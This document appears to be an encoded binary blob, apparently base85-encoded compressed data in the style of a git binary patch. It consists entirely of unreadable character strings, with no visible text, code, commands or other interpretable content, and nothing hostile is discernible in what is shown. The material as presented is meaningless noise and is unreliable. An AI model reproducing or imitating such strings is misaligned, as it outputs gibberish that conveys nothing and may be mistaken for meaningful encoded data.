z;^Y@fYEezmdF^K#`OO1oJ;Db(s3}q_S@TA z6!qrOCx7(Ec2Ke*^P813i7BZ)#*Lx{_K$6UZ~XvH0DZl=d9UxEQ8yjxLg6Yi;H zq|g|yG8&{cw^eNH*;JxZ)Sp2n>C;LVEsYNz53F^IKjCWH4e@4o=Om0{q38b)G0Jvk zoM?|B_dXQE#RT&ht^w>T~@60H1@0e=^E%xi!Eg9eJ%Z!%_&xCxt$?zEu6#)-=_MDmT9W@rxRf5k+n ziPlZRZ@6Ke!OVj<(@I6lPE4CZ3?-O|FYKmch0|94%2TofT!rubm?#8 zfC07(gvO1sDP2J*u|B{b3HdA0E2W1;wT}!9Y(}YJ&3u* zAZb3l04saYa)&%3emp!WpEI<{ysvn>H1|xGC^+sdk;mpn;jj4B8H;7J%53Y`Nn?rmCC7-dmk*1T?=g`00Y%jAElBi_Z|Wgo zG;6-=_w9X__``NUl^5dZK1g`>-SE&%9&&MuU+tI)g0q5yyOlB(E_z+G`r3q9!%*8U;gRI>g+vpOlBYe$yl%!extjCT|7Ca2uR(O;}w17=v zP-JhC|NRadhTI)JZhcV?R!wj^n2k0S*Ffp<7@BqnO#_)?XPU^ zjJoMl%$0jZYA=Xx-Iid>V{zIY>Kf&|jc5L1v!=%Dr_EkEqgl}GOC9?E+T2h1vHXv@ z12}mACk)^Wa(SC6@L&;J!=^d`N`%IF$Gdu~Wv%GFt9ZlJC5HQz#vJ#F%MH17bb~l+ zqRfN3+c?xMlqm2#Z%f_%Yq3^1<&03WvmEsMYx7rr^9nP0*SLlk6pOujR9Q#!m^SrI zMU9b#s5qGqYVr<`TO!^}#9+;;sn^%G&sxz=vD=Kw`0;b?(qdftY~TYbv!*73?M5EV z`jt1fxovz7)jSVt#~18q{T^TD{gM1ZYlph`>9nhrJJ^x9yt$p8;<4;>{(Q8Ak|jxM zt6W}fg#fEE;7b$@kc$g*SHW{B9lT)KU*?;AC9_6yhvXfo&miAlqMm&K+6=LsCP@u< zq7;tLya|sxK}~o!PbW~Lw;x}UsSI59P1~mC5`R5REb5~Fba{+R%7R(Hs^IeCJ>k3{ z?OPZXp*FldVloOP(9hQPUT(B@5in$DSpD*Iu=+9BB7^3~7q%%(2G#^>yUD+c<0Ial zFc(8-jL}5(y6qo6%8)Y(q)X3MPiLLv54!iaUR1w??`!(EHsvGbb>w`m)Oz$ow%22_ zn?@a~P0}rSua&1*?z&0VdxT$!X%qZU zF?YCX8Qd4LdQ1q}I|q;U<>}U|`Ym@PVI|1(tKpsGJ;PNi{LcrS@fFqm<5*3rBp7>8 z>|EW-BQ@Lz1K|>gMAFN^emwZkJ{>GPE?uJq`UsI}Bu)Yr$e7LXSVU4MulX43+e&Q4 z{OL;B!A5WJUQ{IxfdeA`9`rpbjZud<_RSDAqMZpMNq*JKAn%Kz;s$QH6xIClVWPax zYM}GHIz>>myBc(L^NVVB;g%-6Kl7sB07YYQ^)>ZAmcWBY^r1itbfcZ{0ylmNlN@VYVZQeXTWp^#~ZZNMd z<7xZk=SPO@@h=~nbzV$dtY-rfgOboCv5wgaDVTcZ{LgD24H$c#SFtqJ!!@g_1NqA9 z$9@=@%b6PqDc+MTj+-4zXLqPGuM5(*(DGE_l9+Un?@28dyr{QRNw6|W$Ixh+jv?fv zJqyf*r0KMQ2H8~ymt}f zeB%qcBv8>9oHDEap#%&z@wT(HH5`SDUbfoDWQnqAP(`y)M?b-5!REh#3lX|M9xau8=T z9oq}nlabt8!RFXUv}L1VySu_=o-K*rOYHYL+E#d!&Tk~@Fnc`j?!OM)RG#n(Ull$+ z-jiEuYAO=BG4)(`m?{<#_SAT>epYLvp6Ju5%Q*cWaQo6O zaViEEc~~UU-q5Cqhmc;r3qrxGNGfeaM*2xkj`R-O8=ZHIpqyNUK3b3L=}SfP3#kSK zMPgv?_Od@QaHg0vF-M@cwFEM%`>dB&96fYOUanMwyl+vH1TVaqx;geozFa7!D2SHXZx589kSTf~ zd9q(_NLrU4_n`9{W|Ic1P&^ql$wn^ zD*G(56Y1$)KF8_#l@_UX_L*~zyLX)&4_Yc#j9GESYl1L^!C7+K_?n;5A$^D&+HU#K zaLukR;4ezFczK;#HGC|428Ja`Fu%ij!Fh`t?Pg_q>!rl-QBlQE8jlCxGoJa@ai(i= zCK(XBk5@iM6WjMLlt97l>nL2?7@wt>zKy`g8fXf-^hH*+?n*$X?F`o;mAkRJTYo>p z)`f?D;}NXtAv1ZPw=E`*vP<}ym3&4QlisHr#yne3c;SCZ;=GTPV0DQlL5eR%7i=xWZb(24V+0umik_6ojC}dlS)J8r-hcJd>Vmrcl_3!_n=vu!Jy?EE zsQy|6tj_;o5_{z0aZZ(Skf>?6zsFC#EjQI>*4k?F^oO#JLww?wk@$zN{_NYi?T@~s zJ~sv*TinNdZl!nKN4^`eL}FOrw8diBwdMCN#-}93sj9>`bb6T_+|EWyYR0h$f^?Ee z-*ygFpi=;pCt;zD^n252?nVZ)6SIPR-@|N~XBdNrx?+*jgUlSPtNJ=4ze+f;sw@5h zZ+KWFS!t2j*2wm3azRGp=h$Xh^&`CJcLNrzxX>p-q2<2z#vw$J8Zwc zOrfc=3YKr-AJTCHc8eD_U;t&U6 z!krLeFBf^~h*)}0$c^}STNRHicQ4jS-Knrf>CWNI_sskfqea|O%MoE=Fmh++j7n<> zWYfreDa8H>Am3o7x~~m$A;U~B2kGL+1dOMPx_aQBhY$Kb_~KH z+#Ww_J%SX946c-Wm0g&u4?k5)=W1HM98oc|cCq8pb06OZAGS(qPsVRyK-9FVPj~F= zy?r5(W(Dr%IGSiXLr>Fv`Qsg(!tKz9Squ7HFK*w z+g{E1#zci4WDg;+0fHuOQyEEP(sDS8A04eli_=a29oSLzL^Dn1p)tup|6;|b9N}3_K`t%p0FmKm z>yC@@Tms}SM_QfW(&;0Ou9}C7q7U^XYR>>sh-yXKgIu9A%JBgm&vu;7G^FrwP{juG6L2C z0j48d6X4gzhie>wXMr1ya?@`F8A0(_R!hw$ZU2$1L{LyI(vlIqpDR(=SNhT!`$&lz< zr~EjLfe+3~`-L^|@3%K(eFHkL0F(H*o6hCS`Tm{LuX|6Y_s1Le;cMC~$$|`mGFQ!< z6SqV!pQ@D^Uz6a%4wW?BBI|wJ?!)D-tpm}6o2=&lZh=oto6bf2GqC^PR%gITHW97u z#*$DyCQ0UXpsia;eC1#~a3=$kHqJ0~aa%(!V8J@1hK1b@e9%CH*x{|o|L2=*0o(PX z@#Ww7K1F}Z7lOO_74tQrEMX9<&bTU z<%RmkXz&gZ`}(i#*=-ah@P;nC#w%HuS2zOup*QT@U((Icrt&vjg_jfxFSh%a8A1 zerFH9_EK(E+oOE<^)T6;vg`6!I8F`&jNgJc3{R(sM1GLb9G_$ZbKDIQ%oU#IIdnPX zxK-%;PTLW1h;=3K=x61DG-XL1W7$QAtE`Mep5JW6M)?Q{pB9M*J2?8-8096Fyq~d) zhhVDUt80M3OT3VD7&>UTWS)wa?i);dno6kbKm{cp6-R_biQ5JIlAQT7lIj`=VeSs$ zr~D>wtiJ(xFvW3IbC>Hs*AcX< zcE3iPGJ+KszEw&Z;){NJuyvB*-0lC$qS$75InLU{t1B|@wY>S?@XytUVnyCPS&fAw z>V-0()O}Bi>e=L$Df`{>Z65ia@bugFzaHxm3#I3=TH)&3)cPTKO%PC+fMCP1+r&RKkB9GKLIGexgpuGQ0DXtK&=sa zd-}6YJ^Wj~Cro^~S3|LY889>fERpo;3sbGZoM%;=GUCgj_yFWj>;DMBXM1c&QIEMR&f zz#mzi+$jjeH~N?D^l$JMyqUQWWQ})!^eXo~i0u+Bk7=CCJZGp;oMY(ObEce7v+qU? z>mZvV0&{!Kps~^ioI|QKGva0cJ?|#TWLM7WLx&?#;yL7o>n_iNmFv+27t2(52~Uxv zgyF?mAF$7O%BMpIKPGVSkHTy8XK0kfgp3&@++ar?Ogk)#{?<)d1Q9?cd}6ax`lKPh zf|XSGs(Dnsd)QbMG9R`AFO);)n}H1a!?ybVTZO}sJLpx-Q3656CzGKk_oy? z&tZa~LT~tzq&vkjbZR>}xWnwoi4uWH7E5UOeNLrmfZ3H2HN#`rdzy^Yjkbf2tQ6Cc zwB}O}{K$4@>OJX7Xq)|@Y7H(Mp=LA+W_ngcbo3CdC^+b|18I9#G8kVxyc_KKw$!GE z-8Xo`D$*Y_?lH%3u$qJmTWYHiy<;?+cf|>-y)$F*L)$r#mz4#dzlY1O5@uWn^sk=2 z@dcZ@z|Zr%an#4VYPzM@E;gkrn+}(bbZk?e_oUt?k| z82{+G9>G}=hT42h`?<;I{9A4gUww~>syp8|8W?;UW=B&>BGp0{nuM3Sr}7Gp0h#I? zR*Nd@Oag-VXh%3H-{O+GvvqfLf~zl}vJYG8iOc`M7MnOY4r_QOS#rxCyk;oc$9q1_ zxJg=l8{v5yWU(nkxdhJ>T_&GHMgP-6d4)padC|cldbaUpPRc)?dc$sg@L%_^9^l>b zn5iSlmtnmW@SSjurwgL=7 zA=1%f`)K#s)>x(^Kp|0SiHOLL-!WSR6cR<`H{-^Ti@yTyBO-pv*A^fHrvr20v%`sb zLhR<{)%@c_k6?n+D`%;rXBY<_*VJRbX`NhW!@K__Xl!o(l9s8A3|@1)4&7#C^{%_O zMYO5_U{=FAVd^t?O(6Tde^K>1==(TlJcWm7(eHjxzI=N> zH#Gh9T~p@F(d92A4_>9pIVXHJ=IL|i{B9o~_*;C^hz0^XocUNHbnp4a(fPbkIS|RP zW|7mNGlMV%-52Aon#QX_6c&;>jvYWJzrIaZm+aSprwzq?vnxmo{NA9Vz6( zai<-_XGU2#uFPeRd*!z29XS^A2}2tebSf9wS@cv-rgVk6E|lRdWcfG7Eq0l=ow*D0 zc`~r@-lzG?fD&LCBRjb#)3rkUb{U2cufNWm_w%Z~R3zX;-UARR9fyfJtIfLgFv;sH z@Wyy@O$Qi}@FXm>XdsA{*?~p>3qTML`4ADpNPc<~HPZBOc9xq`@XzsV}U?Yi+;qF#qdNZa07PV zR)8)y%nHqlb|Z^Es!uc7jc0T&K0$wQ$H&G?fQ{Qn?dxQ-`-fV>o*3OgAevuB1I9_V z+~vnzDc~qWCzTKc|LieoDsp!$pn~$jZaP3$o^4H9< z*BkWK>Ne_KFA*VVcVNDyu=AGS`~*~7^yyN*vT#N+|GB>x)5>nJ0OPxrft`%pJG3J7 z(fRs$UozBk6QfmP5+UHG0j$SHhtl0XLPY{f%V6e8h>(@V0wXl5`A#e|aJ^Q4$?Z$x zPmkNO$G9*gB$>Z0vsNBDNy%`v1kG(kv?(&Z2?xeaAk}}Z!E5|EZoWX?-%8Nf2uh{@ zZp9Upk?$G+g~=}Z-^*Qo%l#|jypO%*Yev7;P;R;JN=5<)`Q|1JP_ZX$Cf(qli%>+F zCE~SefT7`)DodH+7_KCMoM3&KpHN9z`xx0|vJ;}&9|@#>3p=C9@SrPLrw^QjT|ZU& zd0;0Fa0|V0j0BGbIw*}*2s4bO_PQJ6xg^MZJTQ+*n7Z?hS1^PJGBxrQLwALk-_3Kx;kLSON`V?BkM&M$sh4(xaZ2qG-@Rw598NgzYTFA36_=s8-M;_^uyLKP(7}SBY{lVAxD6oH+l> zWeFJ2)?0|AKbWaBSw!|UT(Z(Hish%h*b}VhZ-j?EB}H??bcHsN{O=clb1?8~^7lyz z=r9A#{6IQh*E=)*JxASAwyMd_=tfSoH!#HMA#?;jt8rTRa6y*X2dR=tfczGI)JF5g zXfDa^RrXK$L;wPQ>AK<#&3_@_ZaJ0hCRPK^HEzL|#LC zg*Nv@UQv!9uj&|{|C&?QD&}~X-4GJGRYT))L(hdiZwj|Fbu%gO%}gaOX#)V!pGXoeQO<|rK#GYuV9`S zO|H5*H{YPSljZNxuw`j5xUYER#-Guxxq}9)a{9qO$Wm$Y;MTJ|=V$)q<`%#H85-0? zm;Q%Fy(RL$ct8IQjLv}$Hk3Erst%k%9$;@$AIWHtvwL0`b2xt3@GdG)yZ*;Hj7=J^ z)!pFOB}~$*C4{;M`@WZ6c={DtN12AQ>M&0rBITtzZi#Zrr~3G5@h>Z|K+24&RmA}Q z-ad^`oTI#fei#dSM#0EOZ~lqa@GAkNy^~6CF76h+Y3aB;@)qmTMtn${-LTDHQ(eRD z()%3}^QXS9?83#c8gV{gag8I_Gf^l>s!^3}B(m@~ao{M15&4MJ4e##Zn%Z^2W3=Tv zZKet3VtoX!w>Gt7C0Z!S$K%uAExsLg+acPDhiwojhaLd2+u|=-xA09i;Mp?5bnPJm zd-E&DWYd7D+adAwpB9;|-%&2Hxv+l8X$QoUz=D@P)?hBhs%3~OGi<3lu)kuufX=72 zM6ZZ~?W)h^Us1c<-$?cTdbPV>gN!1}jut!U{a5AZf~!FcNv}J8l$u!2AU}O=R+*#M zxE(U7ayNWWMGAAFql6_Xql7EyW#L*G-%x8G4O&Y-ZQwi9Zq(eEMA0C~B51480enr} zy)=TCf~(k+PFRrAbqUC{yiibeCRSol9{A`1Pxj43>qHmH(Sq|DIMBUIKsf5Q(U2n2 z!QehsWTv;4YBI-Mf4s2%Q4?S}dI@rkSwcBQve17qdF3?W8SpI4w2GJ~-|cBog7C8k zeRojO!O#em7A51URRZ`n^z`1{COjwL0@#n#LbLmcM^@570`Q1!K>p^WKHF7pmTn4A zQy6a@9J{P~b;P@Av;K~S{-zU-9g`OFc64dQ3??g*#7I)K%d;#3+bTbo75s!|=&^o2 zSx!WWxu;1TMq;6HxL4q)K#WLgB66!_5qlY;8k!%iBgIHq+)Oe`TX5W*n83&J-H5&zFCET#<>Z6lYuoYhzd<&Np2881uHV z%NH&jETV{>S_>0Se29lj8YH146s0p)%KkVrn3sq@z4jYSat%`wjIUWTp?!hFtsK4} zYJ(swm9O}t-dZ~K!7dCePwj$brkN@rdK3g3E*ra^3O3vqzh;bA{|(0hDm50fs7#xW z?+S@Sdof8QBm$V^;ZNtod<-cH{S3}T+-XoRV<>9QWtZ`TMey-)Nns1q3#QX6;mSdr`=D}AH z@D)E^Aug|n==fYk+3XETWc%DJe)@qSs#8{X6B*!*Xp}QotYyQ|s&f9x-^o-La1+9P zAC;a>63rK#InV5nGoB0aP$G0(a&W&x{{8f*^E`7EzwLGI$Kgbdhkk48 zORQ>7OgOi+!+I9X!+hf)H|O4}#K{C8g?S<>N9jdZgmT5A66AAA%cI>Q^CtRgYA0?5 z=Rd>KbiCyMY$TvF`do9T;y2XfM;dg4+)o;E2q+LE&P7LVek9zEn7I()F$%o9z`poo z?r+ekk((~0gfCEJ%{cu`Iuusfw$36+?!{!5C8SXYL-2j`1$^BR=22KTCoV}smLKF9 zr3=CRcu9N1+yQW1N&2fU>jI?v^e9eK!(nl*Pa_NKebdEaZU~mQ_-;fK}BvJKpb50!csf8*JLz zOOPSlPltxtso-&`{%|8*(AlM=8IzLNQ9I%)f@C#g<&@13S8(%W5V*<=SkG#MUCqmr zA`B^}6TCYkqTGy!B~<}-LI3`BV1JUOP}B`e$L0SlSHF`^I)KE4n>aIPM+^JAWIS?m zW;Rd%3uYz;)p2fcx9S|91NsZ(Dm05Xb);upwMwTi2?PtuHVxUv_bMk_CgE8O)p6hX zn?2YMYqLdZ6Hx)BU$(?uV&I@g|Hc=F;R(eK%P#?M^1bdMSjp3qayxV=0l60C4tnSpGZ{De2e;EITg>mFJX%aoSkA*$K-V9p4HiTc z;vh-KA?IAqXiRy;Og^op1G^Y;Js1>0-Fa_ybn`391@?L;;TEr;oU_u%&Z6AUxcCl5 zJl`}|9>O_;F8=H~k#*JUmM_?F_Sd5?QkZRG82j&pO6ho6P)05gGv;44_*8Af|LOwxFT(Im>G*DmWOPfe+qp``M*BkEasH|#M0z5jB;(D)lu){%|_KfG)=u+5xU^vAq; z0|6Y*QhSb1ipcb-%a)|>d+5#W;UlV)ex;umy*!$;!Nwu~1Zx|9xo5aa)9J~*kowlw3Q%w%vck-+yE>>qKdp7$KrkK04S=ode1 z{pfp6B5N%i!1|sZ?F?g9(Ob+zXpR?f8pP+YtG)9{gMu$6-Q=h_$qJ*$KsmthFbU5umgBPeTw+lz9{wNZln^(&<` z0m$!}+TL3P^HOZ;6ky(JKCbVu$aPqO>RRrh-4cvPcsdbEfg0_t9NxX2{ZDnsEi0i8 zdEH_Ejcx+=PX5Tvp_u>Nuaom^qslL2g5J2Rew~`4iFmw|S_J4E$m9Rxu=*oP`@Ym= z;20_=vG=?8FdDHCEO_yO?{xP?GntG~%dse9KfC2>L~jA>w2D$PD;`~m5jBC=@dmx-*C$PM4mP$QCq z^E|M@U=EhE$IfpLP`hUR{`Us~^&)0jrp9Ls!f6TUi7HD`Ycbn(m+(Xh!S>X-)c}|v zJ3=?YFd&zQ5!tI0OlR+f&&FRHp_qICIQq^Yj}((X@@|2jlO2doF}-K zg1Y-q_<~m_>7QHb?7j~42E5Ob`SDxn%ap2=t<#~e8h>AU;WG-iC(_SFt1R>Ir}=l! zy3%QL3LQ~I=a+k5S%#nbtKbBdS3UlU!aWZ)fB>s^1*4v%%Z|j5C{w?u_#VVqGMDV0 z#1dKH@3&6nsP6vsrY2$E<}XYRTCuD70|OM7NSn8h2(gm(n12WZVg;~mGJHkp^U;=B z2#wra*cm^rsfab2b^^v6mVO1vV^5BTk4^#| zYu*FA?##G7Bx6 z52>L+d85q?WVhx3AnbAd0_8WfX#Rg;4bYF3PQ*vdm7-+CleB`D1$rl4T0r{Yh0Hgy zXA576<4X?agf4~VvPvc8nTG&5jO687K-hj`xtphw1AvPCLXd@%6W=C30WoRdxaBfO zVIlmn`>YXG_R=3VDw_jxuew`Y;t^TsjofaF6Kak8&>KP2a8Rlaisww!X*IY>Y`nF@d z(cI8`O1JK=aDC4BvEiz#zDWFtaY~R?NTg6tA8*W;G%^HfNdT}CkS-DRCv62ci3@Ky*^!Ie()4H9ro1g{tsHdyfe9CtQVK#D$TNs| zct{PbyzMyWau^ZdZNbz8AE8I`12Ge;ziw3{xkiDSm(~4mVu6FnyfUzDkq_i14hN(r z%Tpe~n}!HLVg&V^ID0@@ao#y|%PFJNIu9=@uT*gk{i5AxUtKo`5CpR)2m;Irf&@`xIkMC{1zl)74jDY|#lL#)BMUz& zd;O-E>h148Td9|)&38esC#K@O2*Y_fxo84&p*7|R!%xoKoy`3ZXT9KUn;-L zV;xPNNy&gYLK!eeuxTGxXkJK@#|N2RU^Bc?X!6Q&c+?^Jd*ScZ>Y9!mobxWxao!{4 zwQyVJCYl9HY4{o;2TU9Nt6S5)~ziAngX1 zKts1#sHyRV%tm~omrvT@Y6~f4ESioIjpEN6{BP(;?zWP8_a9S5UX$A^k!iF-+#lsT zxzndwdjE?GwJ>Ro2%hi?dnS34pLWRfc37b7KmW%<;s3-603rsMh^!ha_1*Gi6wjs` z=gidspTh2d)}+V%`xjNVnd9U9qiCgP9gassx~=|VihiSn;NSo{oB8T5x$dYJGw_SO z*w5PgYwr$hUO$`QJN!|DtVvz6v*Vf3l;Ld z0xn8&dr#(vSh|?t&QK_<@8xaI=jO4_6&xOz zkftNgU>l3m=6Fyl7Ktc0an}|h3S(3kj;Z+u7W8=4!Iw%NizX2Cu?{+Dd}0!OtxS9- z0NagNPoLhq^O^o=$r{o*$>~GU>{j){GroYkG{J4XP!1?5eGv+bW@65p5xyOpyDT(D zvOi5K?Mvvc7Bx9zvWDsQ{Zq1Xj2nGdGQkWlI{Ni{``El=QgbG#eG8caVR5Yp-kHLP zqW00wfR=aMzwbF;!IS`wIq1#_E=RlR9VeMUN~|`?``y*j*Xs zd}fwSb7n-6xB1=HtSlqfZ|}BS)_%Z%`roM6Gs5YEMoI28LU7HlTh;@SgwcJXEg|5P z&DA8$FY-x;b>;Srw`Cw&g+J6tpWwtn%o!-(M}Xij%`#Z6p<(|E}IIExQ_<|ri$ZmHH`QGdg2@%trEimFyYEX zk9~SQ*c9Z@p(O4|x>t0)+&Rbl-#3+Wzq-O-)m!w{72TiWdF}HA8$);NK5qlGg4Gd(2+rSQ8 zlgPfDu~>{mIz~a8T}*8=(iL8#Ndf@uoukc#N1HQFm6|GI+vwFQQLWe`SkVCxc#zc; z0#o4Hh!{5uh==w@opyObv*3qJIkBJ9Ofam#=LsR#trx|Zy3+wkhTR6MKpSJ`)}83Q zx_JO0-g?qm)_Qvq&={#O5GnpyclHTYT-G45{ez-@H4F9ntk)1V7^qyvKNNTdMi{oy z!787bCExZHyN4TGz6xdm$`&lOTtajAov~GD^ZUWYkjs&O*6t>?6B z3-de*dAQs+l+>%s&B64c}R z5?GEu0?uthXWfOfRTyii#d9VEc6o0rbeR3X>|C=moD6v6#>nhBBKJ?Fk5rl&ABZc| z=<8$xt<6g&^vpM=Kl?gJ{_!dJ`itWVz->J_C!PRzE@$d^W5-{~eLtM=5^Zd#Uc8Ce zt+Cof+!lo#r5fNXDn&Cr+b5F%wNtW6^hRn8=?J%eI{glW7GOgAkiRCnH>2Jfx|;VM zG<^L7X{f}!T8OAtsSFOkia=eTU*=2T@*PtX1Uvq*xJ=Vh7!hZQysfI|%}h}~OY(kL z$}#jH!kMqwQW}0zXNG%Pcf{CZbvUn5c0tEDJApPa1C?#k(&dlT_lukZGu?SNiS@5k z*yoR#Rh}>;+}>3PwI-$+5DMO2(nJCzropG@Snxm4=GsRZu%AlLi0N%@q>xz~Bb$?K zUVLH&rB#hCC&=EQ4wVp$0a`cQvsgqy(^A`B4Hwf2ii0jzML2eNW$j*Myq2_Q^S3nY zIcY7;bj^39(q-$2Z=s@oPWExqgv=mhn@G*_gL@;O7S3JrIqx=$O>MbWiBR4YD8PV>{|hS3r*TmF~u?p%cgV zBEG0BmM;fF0qm^h>3YbT@opuwzIY{#to5Nh(+Aj8yc=fQ#IMsNxuGl_oy=oRGPP$V zVzA2zrMGuvk`8R<3pE!uBbSxahMQ}LQTE5)N19e|?841$i57~7HEs{Ir;sbea(5Qn z`e3ci8cu&j>cpJ`q79F1i!-eC&ZCY8#lhXZ<{{Y!qDGK$Vg6#G9g;@MIOU4p_S%<1 z-lyzyCui!F5{Vhd+QgM8KE#>MEDP6o?;H(ZpX&@;is;HQ?qbH{VbPM0@Z?(_U|FD- zM2UsPK;5!TDVE&~leG|W{s}Vk-sa&&XKY^&I6;2EJ>qFM+}!BBZdbqF2R^e9w));G znozbXo3J*$CZBtqlJZGm4Z{pHW`+bmiFs;S$q^(FV<$@1$BQP~ z!m4ud6pN{>$(mbb@LKA8^`Xr$efR}%uOm1M7ySZk+dz3BWU+f?pK35HG47$}@T|=^ zWxeCr6ga2DCNOn2@iI>0wvw`^E|p!RE9d*TC5zT|&u0bIYQgO3{1lxtthl61Jz`Bb zI&D2dBSLb$HJk;OSAXurR|)O)er)#wT|h=)k8ejD$1f}kqJ{}^qe=q?-5R&;r)#NR zb-XXWk-{A4_O!K9vcT|@`_aC48RC9%rTtS|X8>);ZDlkW+svbYcY6GM2D|$*ESG6Q zR=(`ga%pWIt*JbvHyH9jUd z^3~Z>rM%)<<4$|JWt}j#5*Hqg&q~3A)=IGK4l|=JwaP}VTch#+&f>LuBjmX~%hdr@ zyg#kX2JbX5K!WSEGdIH+i5FH{=>YHL$%_NWkJ{%13e!qZ`RFJZa4JRb?=MRBP>Icn#f5)}6AVR!6lCs{f{>jytMK}N2W`vyy z*7ec?zVWV>G1U@gJ!D*FaPIzty4^z8A%Wt-^glOx8kgZ;URn}Tp81a+*S*rAO+5SU zV3E73&wZ;1pN4gPtSAq_Ib*Jqe>aIx-a<)!)(j1(TK%rRJuM0Nl>Fx|q>xN%FP147 z+P`OmcFQCHlU+`a zfn3}HZT9&699YfDMib`22G>lGvd`M-dU=~9uB5|;?+XUmiwWjKD(z%FBicywA3Z}k zkPlNZxdBoT2B89AZRf>0+OcC0jB|~sf?l6ryFLRx096M(j(z>+7nbWB61|vf}$Dw#%c3_^3Hr|{!QJoe|I|MKeC?C3zo*R0 z?ZAkoHjXog5-PL}<6TbchVGK>6~%W%tsl;Bj$}IQ4Sk9Ajmtj9oY{aorEmKiqme43ntl-U6Hzq0|?F?Oi?Ro3BNI#1dL&NSq_tAQt9Oo{Y+ zJ5FlhlV4dx@_5{w4$E;Zjb$}GW}df|8FMoT1tysrJL1Mh?NRhlK-_yJLBC6yi+`f@ zo6Z5+cl=O&l&Ee**sH)No|O7v)Bg}1Tot5EOyZ{3rAY)HJll?#i39H~XlHcW1rh0> zv(i3nr0y>#Kd_V=IHQ1UPG;=wUG|s=%{Xr#3#IZYp^Gy@6AL{(JJ^6LqiYHI0F*=f z6ymwOsv+^mz^ww8qSv7Z*(r z7PgD>+7QX_pp(r^+ZiS^Pak+;-uQrr)K>HDoo1o6H=j{U2_m)6So z7u3uXJ0?zZe4Jbu4us-O^rowgol0j)hmR$(xOQrq zZ}yyfP_1k%ensg-?C*?{>(d65O!{DRKlEc$H&ljw?H3)6heli7^ zdueep1vs9c(E% zY$qRsQ+HW|{#(C0bM8NM$==id(|Z`yk?z+KL)yQ6IF6Ja5Wc;ympbP=*R+vk<2)R^ z@s>O2Xh(eVsC)DCL>!jojn<#dR+5o#z*EYoG{W6!!YN-zbBx|H@C~AWQvb$6PkE_< zBGW@+Q@NWA*Fq(-r)y9_@zzcWgT_m`cpP#3v3_IH(XV>x0iRamJQVBCr8eXERBZHL z7yCa+*soI`hVD9kGZ|!wjp1Je2MB-3cn&FO{5lT^Lao^&x7dSFTEMAhcC}-q^IVhH zwgW#bYX`X-WPD_Dp$7(edNZUpC=*MIVt3(M%5b0AJAR<8L1?%r2z3gaX+KcyQ4cB| zvi+f-Ao1WZBImi;j&!Qhedy8y1@_dlU>TM4dvsE>8R>B*TNpveY^WK*L%lL{H zoX^XEvb#r&d=;D$3o`)pCw-x1OvL3`he-vc*0D1036s&q%VPW22g`KniSp{vMlUr5 z@?VENK-&}i{|szyT`_IUG-^2aHAo{pPxd8NKkVgZX{Zf&<30hk{b1FLhVV!}Ssn~ej)_KndwjtjN~qNxQqQY%LTUFG#Hs;z%DJ|8s&*%-{?cK#p6 z-uf%b#f|z#5d%~Nq)SDmK}wLAQIL+I8-{K{5Ts{BMY>yrk?w9mM(I%LMtbNRY6d2r zn{&?hd4GD>dj0^{g1PS{v#l zJ&+3h-ur7e*rU6=id$H;JB-qx0ulNOw(`m{;%v_~u!SB4UyePD}AZ5{^vPqZx z1h@v@qeBE}LrVS5OsS$M;}@RNK}$bcBz%_O`WbpbXM&K8ZP_DBq2H~L?r!|Yy=6?4 z?S030cNE`FdW}=CjV!9}_1|dU3pF0g4tE=mRKO7`<)g1@;QU8CSnA@VoDO<<*+I&u zrt3U;=eOGif*6UeHV|ErzsmYQ_^@04*f_G~qgiDmz9t-y!_~Am$gnBtUpsZ$F&v3oxsN(vdo=GOA}sI64qR9p7m@Bnc3T{B zTPv%2Y2uO>5saE&#oKMui+kq=fCqS?%mwtLIl}zueoVZFOD5x6wDg`sr_&;FnM<8j zn8&QX!!FQV4vkz`7cTz?#_S^3FeQ*F7o)2~3f-iKDDrqgQ@4FFijsZ_)e+$8mTu>jrLs|kN zv3R*ncW%g;^lk!+cFUEu^!x?_;HZjMjYe778U9yiHQ7qRSqa?6j=9={r?ZJI{kqyV zax7^>gLKfTL1sF|R;CPUv6!cF!d7{;W=)#<8KGlZ#sOSFOZT4Z#RIZ^MSizP`A!sE zY>D!C$>MJUMY_%@9g@a0F0!aHdHiyKhK zJ&EgU{vcTGJt<;~Hnatr4Mq^Pch55V%*7=1@#ONz5-5BLU3nug^i0b9aQIUOyVv=L&~DrfLGt8v5Uo zHOtjRuvZ32Gpe(u1j}3Gg6DjdVD@W$l~s+}xjz|sJ9<&}Oq0_Ue2p>_m6rooxMwL1 zd)R=RVr>9hnmb08``hAK(+07t6k)VekUuMZWFKJT{@0M!Ry8N2+BGE@#(L^95zcXUqWBpsdj&ivlqol$|hQEa*bI7+w>?aa{ud- zr_$)90Rjq!i(+>yv3_MAbMo=(m%H?~oiPOi{BR0g-pq3q6TnDR3|SN-VbV}E8YLsT zQ$;kgaKUk0b?U-<6WkWqYBI5k0JCR$pT8Th%V)OeXu3*7PQV0k2Vc&TZcTIDUgvWl zr(VR+eWD+qM_F~8aZr(VJkl`G%58r#z5a6q5Y<^hm-{(laz$n!G3L&l@DLW49*L%c z?l107_ttRK*49bT2dTI2+tXubV|-qpVh!eXngli>-}&Zf8Siq|vG+c`NkYQF+-&9c zf}8$@Vm_Z?@AzANhx2UfM(1LH9LP=jUXsZC=9_`{&HUgeSG>1pEB)DN0f<6@?SWOz47(L1X36MXUP|B$f-BA6*@Y0S& zJMMszPd_L25u8~7U6o&P4|E=(Gr`@<08DP(GLcR%z2e{6aMOf$ig=Q6Qs_+g(S=Az z=K3J_%|d;U*KPi@(OxGJOLv~d+5Jz=xonU?1o3ev%0{X(fAdKBKmz6V@?h;J(Q9_> zBR^6blsR*`9oxWvl{YV6ymF!L0Tf2d-f}$v%XI3D-F^JXPy4ms(SqE~m3eO5GwF8j zt$GLgb6cKUf2i$k`^?WU@ipu;N3`q(1WaYn`{)hB=DUoQw9~UBL1tB^dalmr&ulO1 zT%ms&LzT7&zdS`e7Sa2vo3y(4uqb!dY2YhZ>fN`UbKAA?v2+_s-5rF)8@m$P8}up( zU#fq}f<|<7?XHyJdW($BXPGxxbO3br>J3-YZGk6=$@;v*eu9a#)}M{dR1Oe{opUdZ z?}_kP2}_UBw%u-yS?PRC6jg|Wa0PyW%Oc6kgyQ;UD2uQu55fA9c~#B#GY`cF*iCz!pEma_Cs^@Br}^A~@zH>Wz-4tJPJO9_b!f6&Bp!&b^?w@y?O3tAb0C5J7fVVj=F*)Ts#NCi;#yY}tPh$M%z-7N; z{bk7C{4(~~EwaA*^bb)23s1+&SD>+=JmuGzhkPeYQ(6gfd#kF`73c(s5%=^{l}E zxEFfoGx-3{2kxiTa5YP)#S6)0KO{luHibVU%+X~GkF^&G~uMoo 